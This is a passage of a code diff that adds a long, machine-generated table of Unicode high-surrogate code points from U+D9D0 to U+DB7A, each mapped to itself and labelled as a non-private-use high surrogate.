+ ["\uD9D0", "\uD9D0"], /* Non Private Use High Surrogate */
+ ["\uD9D1", "\uD9D1"], /* Non Private Use High Surrogate */
+ ["\uD9D2", "\uD9D2"], /* Non Private Use High Surrogate */
+ ["\uD9D3", "\uD9D3"], /* Non Private Use High Surrogate */
+ ["\uD9D4", "\uD9D4"], /* Non Private Use High Surrogate */
+ ["\uD9D5", "\uD9D5"], /* Non Private Use High Surrogate */
+ ["\uD9D6", "\uD9D6"], /* Non Private Use High Surrogate */
+ ["\uD9D7", "\uD9D7"], /* Non Private Use High Surrogate */
+ ["\uD9D8", "\uD9D8"], /* Non Private Use High Surrogate */
+ ["\uD9D9", "\uD9D9"], /* Non Private Use High Surrogate */
+ ["\uD9DA", "\uD9DA"], /* Non Private Use High Surrogate */
+ ["\uD9DB", "\uD9DB"], /* Non Private Use High Surrogate */
+ ["\uD9DC", "\uD9DC"], /* Non Private Use High Surrogate */
+ ["\uD9DD", "\uD9DD"], /* Non Private Use High Surrogate */
+ ["\uD9DE", "\uD9DE"], /* Non Private Use High Surrogate */
+ ["\uD9DF", "\uD9DF"], /* Non Private Use High Surrogate */
+ ["\uD9E0", "\uD9E0"], /* Non Private Use High Surrogate */
+ ["\uD9E1", "\uD9E1"], /* Non Private Use High Surrogate */
+ ["\uD9E2", "\uD9E2"], /* Non Private Use High Surrogate */
+ ["\uD9E3", "\uD9E3"], /* Non Private Use High Surrogate */
+ ["\uD9E4", "\uD9E4"], /* Non Private Use High Surrogate */
+ ["\uD9E5", "\uD9E5"], /* Non Private Use High Surrogate */
+ ["\uD9E6", "\uD9E6"], /* Non Private Use High Surrogate */
+ ["\uD9E7", "\uD9E7"], /* Non Private Use High Surrogate */
+ ["\uD9E8", "\uD9E8"], /* Non Private Use High Surrogate */
+ ["\uD9E9", "\uD9E9"], /* Non Private Use High Surrogate */
+ ["\uD9EA", "\uD9EA"], /* Non Private Use High Surrogate */
+ ["\uD9EB", "\uD9EB"], /* Non Private Use High Surrogate */
+ ["\uD9EC", "\uD9EC"], /* Non Private Use High Surrogate */
+ ["\uD9ED", "\uD9ED"], /* Non Private Use High Surrogate */
+ ["\uD9EE", "\uD9EE"], /* Non Private Use High Surrogate */
+ ["\uD9EF", "\uD9EF"], /* Non Private Use High Surrogate */
+ ["\uD9F0", "\uD9F0"], /* Non Private Use High Surrogate */
+ ["\uD9F1", "\uD9F1"], /* Non Private Use High Surrogate */
+ ["\uD9F2", "\uD9F2"], /* Non Private Use High Surrogate */
+ ["\uD9F3", "\uD9F3"], /* Non Private Use High Surrogate */
+ ["\uD9F4", "\uD9F4"], /* Non Private Use High Surrogate */
+ ["\uD9F5", "\uD9F5"], /* Non Private Use High Surrogate */
+ ["\uD9F6", "\uD9F6"], /* Non Private Use High Surrogate */
+ ["\uD9F7", "\uD9F7"], /* Non Private Use High Surrogate */
+ ["\uD9F8", "\uD9F8"], /* Non Private Use High Surrogate */
+ ["\uD9F9", "\uD9F9"], /* Non Private Use High Surrogate */
+ ["\uD9FA", "\uD9FA"], /* Non Private Use High Surrogate */
+ ["\uD9FB", "\uD9FB"], /* Non Private Use High Surrogate */
+ ["\uD9FC", "\uD9FC"], /* Non Private Use High Surrogate */
+ ["\uD9FD", "\uD9FD"], /* Non Private Use High Surrogate */
+ ["\uD9FE", "\uD9FE"], /* Non Private Use High Surrogate */
+ ["\uD9FF", "\uD9FF"], /* Non Private Use High Surrogate */
+ ["\uDA00", "\uDA00"], /* Non Private Use High Surrogate */
+ ["\uDA01", "\uDA01"], /* Non Private Use High Surrogate */
+ ["\uDA02", "\uDA02"], /* Non Private Use High Surrogate */
+ ["\uDA03", "\uDA03"], /* Non Private Use High Surrogate */
+ ["\uDA04", "\uDA04"], /* Non Private Use High Surrogate */
+ ["\uDA05", "\uDA05"], /* Non Private Use High Surrogate */
+ ["\uDA06", "\uDA06"], /* Non Private Use High Surrogate */
+ ["\uDA07", "\uDA07"], /* Non Private Use High Surrogate */
+ ["\uDA08", "\uDA08"], /* Non Private Use High Surrogate */
+ ["\uDA09", "\uDA09"], /* Non Private Use High Surrogate */
+ ["\uDA0A", "\uDA0A"], /* Non Private Use High Surrogate */
+ ["\uDA0B", "\uDA0B"], /* Non Private Use High Surrogate */
+ ["\uDA0C", "\uDA0C"], /* Non Private Use High Surrogate */
+ ["\uDA0D", "\uDA0D"], /* Non Private Use High Surrogate */
+ ["\uDA0E", "\uDA0E"], /* Non Private Use High Surrogate */
+ ["\uDA0F", "\uDA0F"], /* Non Private Use High Surrogate */
+ ["\uDA10", "\uDA10"], /* Non Private Use High Surrogate */
+ ["\uDA11", "\uDA11"], /* Non Private Use High Surrogate */
+ ["\uDA12", "\uDA12"], /* Non Private Use High Surrogate */
+ ["\uDA13", "\uDA13"], /* Non Private Use High Surrogate */
+ ["\uDA14", "\uDA14"], /* Non Private Use High Surrogate */
+ ["\uDA15", "\uDA15"], /* Non Private Use High Surrogate */
+ ["\uDA16", "\uDA16"], /* Non Private Use High Surrogate */
+ ["\uDA17", "\uDA17"], /* Non Private Use High Surrogate */
+ ["\uDA18", "\uDA18"], /* Non Private Use High Surrogate */
+ ["\uDA19", "\uDA19"], /* Non Private Use High Surrogate */
+ ["\uDA1A", "\uDA1A"], /* Non Private Use High Surrogate */
+ ["\uDA1B", "\uDA1B"], /* Non Private Use High Surrogate */
+ ["\uDA1C", "\uDA1C"], /* Non Private Use High Surrogate */
+ ["\uDA1D", "\uDA1D"], /* Non Private Use High Surrogate */
+ ["\uDA1E", "\uDA1E"], /* Non Private Use High Surrogate */
+ ["\uDA1F", "\uDA1F"], /* Non Private Use High Surrogate */
+ ["\uDA20", "\uDA20"], /* Non Private Use High Surrogate */
+ ["\uDA21", "\uDA21"], /* Non Private Use High Surrogate */
+ ["\uDA22", "\uDA22"], /* Non Private Use High Surrogate */
+ ["\uDA23", "\uDA23"], /* Non Private Use High Surrogate */
+ ["\uDA24", "\uDA24"], /* Non Private Use High Surrogate */
+ ["\uDA25", "\uDA25"], /* Non Private Use High Surrogate */
+ ["\uDA26", "\uDA26"], /* Non Private Use High Surrogate */
+ ["\uDA27", "\uDA27"], /* Non Private Use High Surrogate */
+ ["\uDA28", "\uDA28"], /* Non Private Use High Surrogate */
+ ["\uDA29", "\uDA29"], /* Non Private Use High Surrogate */
+ ["\uDA2A", "\uDA2A"], /* Non Private Use High Surrogate */
+ ["\uDA2B", "\uDA2B"], /* Non Private Use High Surrogate */
+ ["\uDA2C", "\uDA2C"], /* Non Private Use High Surrogate */
+ ["\uDA2D", "\uDA2D"], /* Non Private Use High Surrogate */
+ ["\uDA2E", "\uDA2E"], /* Non Private Use High Surrogate */
+ ["\uDA2F", "\uDA2F"], /* Non Private Use High Surrogate */
+ ["\uDA30", "\uDA30"], /* Non Private Use High Surrogate */
+ ["\uDA31", "\uDA31"], /* Non Private Use High Surrogate */
+ ["\uDA32", "\uDA32"], /* Non Private Use High Surrogate */
+ ["\uDA33", "\uDA33"], /* Non Private Use High Surrogate */
+ ["\uDA34", "\uDA34"], /* Non Private Use High Surrogate */
+ ["\uDA35", "\uDA35"], /* Non Private Use High Surrogate */
+ ["\uDA36", "\uDA36"], /* Non Private Use High Surrogate */
+ ["\uDA37", "\uDA37"], /* Non Private Use High Surrogate */
+ ["\uDA38", "\uDA38"], /* Non Private Use High Surrogate */
+ ["\uDA39", "\uDA39"], /* Non Private Use High Surrogate */
+ ["\uDA3A", "\uDA3A"], /* Non Private Use High Surrogate */
+ ["\uDA3B", "\uDA3B"], /* Non Private Use High Surrogate */
+ ["\uDA3C", "\uDA3C"], /* Non Private Use High Surrogate */
+ ["\uDA3D", "\uDA3D"], /* Non Private Use High Surrogate */
+ ["\uDA3E", "\uDA3E"], /* Non Private Use High Surrogate */
+ ["\uDA3F", "\uDA3F"], /* Non Private Use High Surrogate */
+ ["\uDA40", "\uDA40"], /* Non Private Use High Surrogate */
+ ["\uDA41", "\uDA41"], /* Non Private Use High Surrogate */
+ ["\uDA42", "\uDA42"], /* Non Private Use High Surrogate */
+ ["\uDA43", "\uDA43"], /* Non Private Use High Surrogate */
+ ["\uDA44", "\uDA44"], /* Non Private Use High Surrogate */
+ ["\uDA45", "\uDA45"], /* Non Private Use High Surrogate */
+ ["\uDA46", "\uDA46"], /* Non Private Use High Surrogate */
+ ["\uDA47", "\uDA47"], /* Non Private Use High Surrogate */
+ ["\uDA48", "\uDA48"], /* Non Private Use High Surrogate */
+ ["\uDA49", "\uDA49"], /* Non Private Use High Surrogate */
+ ["\uDA4A", "\uDA4A"], /* Non Private Use High Surrogate */
+ ["\uDA4B", "\uDA4B"], /* Non Private Use High Surrogate */
+ ["\uDA4C", "\uDA4C"], /* Non Private Use High Surrogate */
+ ["\uDA4D", "\uDA4D"], /* Non Private Use High Surrogate */
+ ["\uDA4E", "\uDA4E"], /* Non Private Use High Surrogate */
+ ["\uDA4F", "\uDA4F"], /* Non Private Use High Surrogate */
+ ["\uDA50", "\uDA50"], /* Non Private Use High Surrogate */
+ ["\uDA51", "\uDA51"], /* Non Private Use High Surrogate */
+ ["\uDA52", "\uDA52"], /* Non Private Use High Surrogate */
+ ["\uDA53", "\uDA53"], /* Non Private Use High Surrogate */
+ ["\uDA54", "\uDA54"], /* Non Private Use High Surrogate */
+ ["\uDA55", "\uDA55"], /* Non Private Use High Surrogate */
+ ["\uDA56", "\uDA56"], /* Non Private Use High Surrogate */
+ ["\uDA57", "\uDA57"], /* Non Private Use High Surrogate */
+ ["\uDA58", "\uDA58"], /* Non Private Use High Surrogate */
+ ["\uDA59", "\uDA59"], /* Non Private Use High Surrogate */
+ ["\uDA5A", "\uDA5A"], /* Non Private Use High Surrogate */
+ ["\uDA5B", "\uDA5B"], /* Non Private Use High Surrogate */
+ ["\uDA5C", "\uDA5C"], /* Non Private Use High Surrogate */
+ ["\uDA5D", "\uDA5D"], /* Non Private Use High Surrogate */
+ ["\uDA5E", "\uDA5E"], /* Non Private Use High Surrogate */
+ ["\uDA5F", "\uDA5F"], /* Non Private Use High Surrogate */
+ ["\uDA60", "\uDA60"], /* Non Private Use High Surrogate */
+ ["\uDA61", "\uDA61"], /* Non Private Use High Surrogate */
+ ["\uDA62", "\uDA62"], /* Non Private Use High Surrogate */
+ ["\uDA63", "\uDA63"], /* Non Private Use High Surrogate */
+ ["\uDA64", "\uDA64"], /* Non Private Use High Surrogate */
+ ["\uDA65", "\uDA65"], /* Non Private Use High Surrogate */
+ ["\uDA66", "\uDA66"], /* Non Private Use High Surrogate */
+ ["\uDA67", "\uDA67"], /* Non Private Use High Surrogate */
+ ["\uDA68", "\uDA68"], /* Non Private Use High Surrogate */
+ ["\uDA69", "\uDA69"], /* Non Private Use High Surrogate */
+ ["\uDA6A", "\uDA6A"], /* Non Private Use High Surrogate */
+ ["\uDA6B", "\uDA6B"], /* Non Private Use High Surrogate */
+ ["\uDA6C", "\uDA6C"], /* Non Private Use High Surrogate */
+ ["\uDA6D", "\uDA6D"], /* Non Private Use High Surrogate */
+ ["\uDA6E", "\uDA6E"], /* Non Private Use High Surrogate */
+ ["\uDA6F", "\uDA6F"], /* Non Private Use High Surrogate */
+ ["\uDA70", "\uDA70"], /* Non Private Use High Surrogate */
+ ["\uDA71", "\uDA71"], /* Non Private Use High Surrogate */
+ ["\uDA72", "\uDA72"], /* Non Private Use High Surrogate */
+ ["\uDA73", "\uDA73"], /* Non Private Use High Surrogate */
+ ["\uDA74", "\uDA74"], /* Non Private Use High Surrogate */
+ ["\uDA75", "\uDA75"], /* Non Private Use High Surrogate */
+ ["\uDA76", "\uDA76"], /* Non Private Use High Surrogate */
+ ["\uDA77", "\uDA77"], /* Non Private Use High Surrogate */
+ ["\uDA78", "\uDA78"], /* Non Private Use High Surrogate */
+ ["\uDA79", "\uDA79"], /* Non Private Use High Surrogate */
+ ["\uDA7A", "\uDA7A"], /* Non Private Use High Surrogate */
+ ["\uDA7B", "\uDA7B"], /* Non Private Use High Surrogate */
+ ["\uDA7C", "\uDA7C"], /* Non Private Use High Surrogate */
+ ["\uDA7D", "\uDA7D"], /* Non Private Use High Surrogate */
+ ["\uDA7E", "\uDA7E"], /* Non Private Use High Surrogate */
+ ["\uDA7F", "\uDA7F"], /* Non Private Use High Surrogate */
+ ["\uDA80", "\uDA80"], /* Non Private Use High Surrogate */
+ ["\uDA81", "\uDA81"], /* Non Private Use High Surrogate */
+ ["\uDA82", "\uDA82"], /* Non Private Use High Surrogate */
+ ["\uDA83", "\uDA83"], /* Non Private Use High Surrogate */
+ ["\uDA84", "\uDA84"], /* Non Private Use High Surrogate */
+ ["\uDA85", "\uDA85"], /* Non Private Use High Surrogate */
+ ["\uDA86", "\uDA86"], /* Non Private Use High Surrogate */
+ ["\uDA87", "\uDA87"], /* Non Private Use High Surrogate */
+ ["\uDA88", "\uDA88"], /* Non Private Use High Surrogate */
+ ["\uDA89", "\uDA89"], /* Non Private Use High Surrogate */
+ ["\uDA8A", "\uDA8A"], /* Non Private Use High Surrogate */
+ ["\uDA8B", "\uDA8B"], /* Non Private Use High Surrogate */
+ ["\uDA8C", "\uDA8C"], /* Non Private Use High Surrogate */
+ ["\uDA8D", "\uDA8D"], /* Non Private Use High Surrogate */
+ ["\uDA8E", "\uDA8E"], /* Non Private Use High Surrogate */
+ ["\uDA8F", "\uDA8F"], /* Non Private Use High Surrogate */
+ ["\uDA90", "\uDA90"], /* Non Private Use High Surrogate */
+ ["\uDA91", "\uDA91"], /* Non Private Use High Surrogate */
+ ["\uDA92", "\uDA92"], /* Non Private Use High Surrogate */
+ ["\uDA93", "\uDA93"], /* Non Private Use High Surrogate */
+ ["\uDA94", "\uDA94"], /* Non Private Use High Surrogate */
+ ["\uDA95", "\uDA95"], /* Non Private Use High Surrogate */
+ ["\uDA96", "\uDA96"], /* Non Private Use High Surrogate */
+ ["\uDA97", "\uDA97"], /* Non Private Use High Surrogate */
+ ["\uDA98", "\uDA98"], /* Non Private Use High Surrogate */
+ ["\uDA99", "\uDA99"], /* Non Private Use High Surrogate */
+ ["\uDA9A", "\uDA9A"], /* Non Private Use High Surrogate */
+ ["\uDA9B", "\uDA9B"], /* Non Private Use High Surrogate */
+ ["\uDA9C", "\uDA9C"], /* Non Private Use High Surrogate */
+ ["\uDA9D", "\uDA9D"], /* Non Private Use High Surrogate */
+ ["\uDA9E", "\uDA9E"], /* Non Private Use High Surrogate */
+ ["\uDA9F", "\uDA9F"], /* Non Private Use High Surrogate */
+ ["\uDAA0", "\uDAA0"], /* Non Private Use High Surrogate */
+ ["\uDAA1", "\uDAA1"], /* Non Private Use High Surrogate */
+ ["\uDAA2", "\uDAA2"], /* Non Private Use High Surrogate */
+ ["\uDAA3", "\uDAA3"], /* Non Private Use High Surrogate */
+ ["\uDAA4", "\uDAA4"], /* Non Private Use High Surrogate */
+ ["\uDAA5", "\uDAA5"], /* Non Private Use High Surrogate */
+ ["\uDAA6", "\uDAA6"], /* Non Private Use High Surrogate */
+ ["\uDAA7", "\uDAA7"], /* Non Private Use High Surrogate */
+ ["\uDAA8", "\uDAA8"], /* Non Private Use High Surrogate */
+ ["\uDAA9", "\uDAA9"], /* Non Private Use High Surrogate */
+ ["\uDAAA", "\uDAAA"], /* Non Private Use High Surrogate */
+ ["\uDAAB", "\uDAAB"], /* Non Private Use High Surrogate */
+ ["\uDAAC", "\uDAAC"], /* Non Private Use High Surrogate */
+ ["\uDAAD", "\uDAAD"], /* Non Private Use High Surrogate */
+ ["\uDAAE", "\uDAAE"], /* Non Private Use High Surrogate */
+ ["\uDAAF", "\uDAAF"], /* Non Private Use High Surrogate */
+ ["\uDAB0", "\uDAB0"], /* Non Private Use High Surrogate */
+ ["\uDAB1", "\uDAB1"], /* Non Private Use High Surrogate */
+ ["\uDAB2", "\uDAB2"], /* Non Private Use High Surrogate */
+ ["\uDAB3", "\uDAB3"], /* Non Private Use High Surrogate */
+ ["\uDAB4", "\uDAB4"], /* Non Private Use High Surrogate */
+ ["\uDAB5", "\uDAB5"], /* Non Private Use High Surrogate */
+ ["\uDAB6", "\uDAB6"], /* Non Private Use High Surrogate */
+ ["\uDAB7", "\uDAB7"], /* Non Private Use High Surrogate */
+ ["\uDAB8", "\uDAB8"], /* Non Private Use High Surrogate */
+ ["\uDAB9", "\uDAB9"], /* Non Private Use High Surrogate */
+ ["\uDABA", "\uDABA"], /* Non Private Use High Surrogate */
+ ["\uDABB", "\uDABB"], /* Non Private Use High Surrogate */
+ ["\uDABC", "\uDABC"], /* Non Private Use High Surrogate */
+ ["\uDABD", "\uDABD"], /* Non Private Use High Surrogate */
+ ["\uDABE", "\uDABE"], /* Non Private Use High Surrogate */
+ ["\uDABF", "\uDABF"], /* Non Private Use High Surrogate */
+ ["\uDAC0", "\uDAC0"], /* Non Private Use High Surrogate */
+ ["\uDAC1", "\uDAC1"], /* Non Private Use High Surrogate */
+ ["\uDAC2", "\uDAC2"], /* Non Private Use High Surrogate */
+ ["\uDAC3", "\uDAC3"], /* Non Private Use High Surrogate */
+ ["\uDAC4", "\uDAC4"], /* Non Private Use High Surrogate */
+ ["\uDAC5", "\uDAC5"], /* Non Private Use High Surrogate */
+ ["\uDAC6", "\uDAC6"], /* Non Private Use High Surrogate */
+ ["\uDAC7", "\uDAC7"], /* Non Private Use High Surrogate */
+ ["\uDAC8", "\uDAC8"], /* Non Private Use High Surrogate */
+ ["\uDAC9", "\uDAC9"], /* Non Private Use High Surrogate */
+ ["\uDACA", "\uDACA"], /* Non Private Use High Surrogate */
+ ["\uDACB", "\uDACB"], /* Non Private Use High Surrogate */
+ ["\uDACC", "\uDACC"], /* Non Private Use High Surrogate */
+ ["\uDACD", "\uDACD"], /* Non Private Use High Surrogate */
+ ["\uDACE", "\uDACE"], /* Non Private Use High Surrogate */
+ ["\uDACF", "\uDACF"], /* Non Private Use High Surrogate */
+ ["\uDAD0", "\uDAD0"], /* Non Private Use High Surrogate */
+ ["\uDAD1", "\uDAD1"], /* Non Private Use High Surrogate */
+ ["\uDAD2", "\uDAD2"], /* Non Private Use High Surrogate */
+ ["\uDAD3", "\uDAD3"], /* Non Private Use High Surrogate */
+ ["\uDAD4", "\uDAD4"], /* Non Private Use High Surrogate */
+ ["\uDAD5", "\uDAD5"], /* Non Private Use High Surrogate */
+ ["\uDAD6", "\uDAD6"], /* Non Private Use High Surrogate */
+ ["\uDAD7", "\uDAD7"], /* Non Private Use High Surrogate */
+ ["\uDAD8", "\uDAD8"], /* Non Private Use High Surrogate */
+ ["\uDAD9", "\uDAD9"], /* Non Private Use High Surrogate */
+ ["\uDADA", "\uDADA"], /* Non Private Use High Surrogate */
+ ["\uDADB", "\uDADB"], /* Non Private Use High Surrogate */
+ ["\uDADC", "\uDADC"], /* Non Private Use High Surrogate */
+ ["\uDADD", "\uDADD"], /* Non Private Use High Surrogate */
+ ["\uDADE", "\uDADE"], /* Non Private Use High Surrogate */
+ ["\uDADF", "\uDADF"], /* Non Private Use High Surrogate */
+ ["\uDAE0", "\uDAE0"], /* Non Private Use High Surrogate */
+ ["\uDAE1", "\uDAE1"], /* Non Private Use High Surrogate */
+ ["\uDAE2", "\uDAE2"], /* Non Private Use High Surrogate */
+ ["\uDAE3", "\uDAE3"], /* Non Private Use High Surrogate */
+ ["\uDAE4", "\uDAE4"], /* Non Private Use High Surrogate */
+ ["\uDAE5", "\uDAE5"], /* Non Private Use High Surrogate */
+ ["\uDAE6", "\uDAE6"], /* Non Private Use High Surrogate */
+ ["\uDAE7", "\uDAE7"], /* Non Private Use High Surrogate */
+ ["\uDAE8", "\uDAE8"], /* Non Private Use High Surrogate */
+ ["\uDAE9", "\uDAE9"], /* Non Private Use High Surrogate */
+ ["\uDAEA", "\uDAEA"], /* Non Private Use High Surrogate */
+ ["\uDAEB", "\uDAEB"], /* Non Private Use High Surrogate */
+ ["\uDAEC", "\uDAEC"], /* Non Private Use High Surrogate */
+ ["\uDAED", "\uDAED"], /* Non Private Use High Surrogate */
+ ["\uDAEE", "\uDAEE"], /* Non Private Use High Surrogate */
+ ["\uDAEF", "\uDAEF"], /* Non Private Use High Surrogate */
+ ["\uDAF0", "\uDAF0"], /* Non Private Use High Surrogate */
+ ["\uDAF1", "\uDAF1"], /* Non Private Use High Surrogate */
+ ["\uDAF2", "\uDAF2"], /* Non Private Use High Surrogate */
+ ["\uDAF3", "\uDAF3"], /* Non Private Use High Surrogate */
+ ["\uDAF4", "\uDAF4"], /* Non Private Use High Surrogate */
+ ["\uDAF5", "\uDAF5"], /* Non Private Use High Surrogate */
+ ["\uDAF6", "\uDAF6"], /* Non Private Use High Surrogate */
+ ["\uDAF7", "\uDAF7"], /* Non Private Use High Surrogate */
+ ["\uDAF8", "\uDAF8"], /* Non Private Use High Surrogate */
+ ["\uDAF9", "\uDAF9"], /* Non Private Use High Surrogate */
+ ["\uDAFA", "\uDAFA"], /* Non Private Use High Surrogate */
+ ["\uDAFB", "\uDAFB"], /* Non Private Use High Surrogate */
+ ["\uDAFC", "\uDAFC"], /* Non Private Use High Surrogate */
+ ["\uDAFD", "\uDAFD"], /* Non Private Use High Surrogate */
+ ["\uDAFE", "\uDAFE"], /* Non Private Use High Surrogate */
+ ["\uDAFF", "\uDAFF"], /* Non Private Use High Surrogate */
+ ["\uDB00", "\uDB00"], /* Non Private Use High Surrogate */
+ ["\uDB01", "\uDB01"], /* Non Private Use High Surrogate */
+ ["\uDB02", "\uDB02"], /* Non Private Use High Surrogate */
+ ["\uDB03", "\uDB03"], /* Non Private Use High Surrogate */
+ ["\uDB04", "\uDB04"], /* Non Private Use High Surrogate */
+ ["\uDB05", "\uDB05"], /* Non Private Use High Surrogate */
+ ["\uDB06", "\uDB06"], /* Non Private Use High Surrogate */
+ ["\uDB07", "\uDB07"], /* Non Private Use High Surrogate */
+ ["\uDB08", "\uDB08"], /* Non Private Use High Surrogate */
+ ["\uDB09", "\uDB09"], /* Non Private Use High Surrogate */
+ ["\uDB0A", "\uDB0A"], /* Non Private Use High Surrogate */
+ ["\uDB0B", "\uDB0B"], /* Non Private Use High Surrogate */
+ ["\uDB0C", "\uDB0C"], /* Non Private Use High Surrogate */
+ ["\uDB0D", "\uDB0D"], /* Non Private Use High Surrogate */
+ ["\uDB0E", "\uDB0E"], /* Non Private Use High Surrogate */
+ ["\uDB0F", "\uDB0F"], /* Non Private Use High Surrogate */
+ ["\uDB10", "\uDB10"], /* Non Private Use High Surrogate */
+ ["\uDB11", "\uDB11"], /* Non Private Use High Surrogate */
+ ["\uDB12", "\uDB12"], /* Non Private Use High Surrogate */
+ ["\uDB13", "\uDB13"], /* Non Private Use High Surrogate */
+ ["\uDB14", "\uDB14"], /* Non Private Use High Surrogate */
+ ["\uDB15", "\uDB15"], /* Non Private Use High Surrogate */
+ ["\uDB16", "\uDB16"], /* Non Private Use High Surrogate */
+ ["\uDB17", "\uDB17"], /* Non Private Use High Surrogate */
+ ["\uDB18", "\uDB18"], /* Non Private Use High Surrogate */
+ ["\uDB19", "\uDB19"], /* Non Private Use High Surrogate */
+ ["\uDB1A", "\uDB1A"], /* Non Private Use High Surrogate */
+ ["\uDB1B", "\uDB1B"], /* Non Private Use High Surrogate */
+ ["\uDB1C", "\uDB1C"], /* Non Private Use High Surrogate */
+ ["\uDB1D", "\uDB1D"], /* Non Private Use High Surrogate */
+ ["\uDB1E", "\uDB1E"], /* Non Private Use High Surrogate */
+ ["\uDB1F", "\uDB1F"], /* Non Private Use High Surrogate */
+ ["\uDB20", "\uDB20"], /* Non Private Use High Surrogate */
+ ["\uDB21", "\uDB21"], /* Non Private Use High Surrogate */
+ ["\uDB22", "\uDB22"], /* Non Private Use High Surrogate */
+ ["\uDB23", "\uDB23"], /* Non Private Use High Surrogate */
+ ["\uDB24", "\uDB24"], /* Non Private Use High Surrogate */
+ ["\uDB25", "\uDB25"], /* Non Private Use High Surrogate */
+ ["\uDB26", "\uDB26"], /* Non Private Use High Surrogate */
+ ["\uDB27", "\uDB27"], /* Non Private Use High Surrogate */
+ ["\uDB28", "\uDB28"], /* Non Private Use High Surrogate */
+ ["\uDB29", "\uDB29"], /* Non Private Use High Surrogate */
+ ["\uDB2A", "\uDB2A"], /* Non Private Use High Surrogate */
+ ["\uDB2B", "\uDB2B"], /* Non Private Use High Surrogate */
+ ["\uDB2C", "\uDB2C"], /* Non Private Use High Surrogate */
+ ["\uDB2D", "\uDB2D"], /* Non Private Use High Surrogate */
+ ["\uDB2E", "\uDB2E"], /* Non Private Use High Surrogate */
+ ["\uDB2F", "\uDB2F"], /* Non Private Use High Surrogate */
+ ["\uDB30", "\uDB30"], /* Non Private Use High Surrogate */
+ ["\uDB31", "\uDB31"], /* Non Private Use High Surrogate */
+ ["\uDB32", "\uDB32"], /* Non Private Use High Surrogate */
+ ["\uDB33", "\uDB33"], /* Non Private Use High Surrogate */
+ ["\uDB34", "\uDB34"], /* Non Private Use High Surrogate */
+ ["\uDB35", "\uDB35"], /* Non Private Use High Surrogate */
+ ["\uDB36", "\uDB36"], /* Non Private Use High Surrogate */
+ ["\uDB37", "\uDB37"], /* Non Private Use High Surrogate */
+ ["\uDB38", "\uDB38"], /* Non Private Use High Surrogate */
+ ["\uDB39", "\uDB39"], /* Non Private Use High Surrogate */
+ ["\uDB3A", "\uDB3A"], /* Non Private Use High Surrogate */
+ ["\uDB3B", "\uDB3B"], /* Non Private Use High Surrogate */
+ ["\uDB3C", "\uDB3C"], /* Non Private Use High Surrogate */
+ ["\uDB3D", "\uDB3D"], /* Non Private Use High Surrogate */
+ ["\uDB3E", "\uDB3E"], /* Non Private Use High Surrogate */
+ ["\uDB3F", "\uDB3F"], /* Non Private Use High Surrogate */
+ ["\uDB40", "\uDB40"], /* Non Private Use High Surrogate */
+ ["\uDB41", "\uDB41"], /* Non Private Use High Surrogate */
+ ["\uDB42", "\uDB42"], /* Non Private Use High Surrogate */
+ ["\uDB43", "\uDB43"], /* Non Private Use High Surrogate */
+ ["\uDB44", "\uDB44"], /* Non Private Use High Surrogate */
+ ["\uDB45", "\uDB45"], /* Non Private Use High Surrogate */
+ ["\uDB46", "\uDB46"], /* Non Private Use High Surrogate */
+ ["\uDB47", "\uDB47"], /* Non Private Use High Surrogate */
+ ["\uDB48", "\uDB48"], /* Non Private Use High Surrogate */
+ ["\uDB49", "\uDB49"], /* Non Private Use High Surrogate */
+ ["\uDB4A", "\uDB4A"], /* Non Private Use High Surrogate */
+ ["\uDB4B", "\uDB4B"], /* Non Private Use High Surrogate */
+ ["\uDB4C", "\uDB4C"], /* Non Private Use High Surrogate */
+ ["\uDB4D", "\uDB4D"], /* Non Private Use High Surrogate */
+ ["\uDB4E", "\uDB4E"], /* Non Private Use High Surrogate */
+ ["\uDB4F", "\uDB4F"], /* Non Private Use High Surrogate */
+ ["\uDB50", "\uDB50"], /* Non Private Use High Surrogate */
+ ["\uDB51", "\uDB51"], /* Non Private Use High Surrogate */
+ ["\uDB52", "\uDB52"], /* Non Private Use High Surrogate */
+ ["\uDB53", "\uDB53"], /* Non Private Use High Surrogate */
+ ["\uDB54", "\uDB54"], /* Non Private Use High Surrogate */
+ ["\uDB55", "\uDB55"], /* Non Private Use High Surrogate */
+ ["\uDB56", "\uDB56"], /* Non Private Use High Surrogate */
+ ["\uDB57", "\uDB57"], /* Non Private Use High Surrogate */
+ ["\uDB58", "\uDB58"], /* Non Private Use High Surrogate */
+ ["\uDB59", "\uDB59"], /* Non Private Use High Surrogate */
+ ["\uDB5A", "\uDB5A"], /* Non Private Use High Surrogate */
+ ["\uDB5B", "\uDB5B"], /* Non Private Use High Surrogate */
+ ["\uDB5C", "\uDB5C"], /* Non Private Use High Surrogate */
+ ["\uDB5D", "\uDB5D"], /* Non Private Use High Surrogate */
+ ["\uDB5E", "\uDB5E"], /* Non Private Use High Surrogate */
+ ["\uDB5F", "\uDB5F"], /* Non Private Use High Surrogate */
+ ["\uDB60", "\uDB60"], /* Non Private Use High Surrogate */
+ ["\uDB61", "\uDB61"], /* Non Private Use High Surrogate */
+ ["\uDB62", "\uDB62"], /* Non Private Use High Surrogate */
+ ["\uDB63", "\uDB63"], /* Non Private Use High Surrogate */
+ ["\uDB64", "\uDB64"], /* Non Private Use High Surrogate */
+ ["\uDB65", "\uDB65"], /* Non Private Use High Surrogate */
+ ["\uDB66", "\uDB66"], /* Non Private Use High Surrogate */
+ ["\uDB67", "\uDB67"], /* Non Private Use High Surrogate */
+ ["\uDB68", "\uDB68"], /* Non Private Use High Surrogate */
+ ["\uDB69", "\uDB69"], /* Non Private Use High Surrogate */
+ ["\uDB6A", "\uDB6A"], /* Non Private Use High Surrogate */
+ ["\uDB6B", "\uDB6B"], /* Non Private Use High Surrogate */
+ ["\uDB6C", "\uDB6C"], /* Non Private Use High Surrogate */
+ ["\uDB6D", "\uDB6D"], /* Non Private Use High Surrogate */
+ ["\uDB6E", "\uDB6E"], /* Non Private Use High Surrogate */
+ ["\uDB6F", "\uDB6F"], /* Non Private Use High Surrogate */
+ ["\uDB70", "\uDB70"], /* Non Private Use High Surrogate */
+ ["\uDB71", "\uDB71"], /* Non Private Use High Surrogate */
+ ["\uDB72", "\uDB72"], /* Non Private Use High Surrogate */
+ ["\uDB73", "\uDB73"], /* Non Private Use High Surrogate */
+ ["\uDB74", "\uDB74"], /* Non Private Use High Surrogate */
+ ["\uDB75", "\uDB75"], /* Non Private Use High Surrogate */
+ ["\uDB76", "\uDB76"], /* Non Private Use High Surrogate */
+ ["\uDB77", "\uDB77"], /* Non Private Use High Surrogate */
+ ["\uDB78", "\uDB78"], /* Non Private Use High Surrogate */
+ ["\uDB79", "\uDB79"], /* Non Private Use High Surrogate */
+ ["\uDB7A", "\uDB7A"], /* Non Private Use High Surrogate */
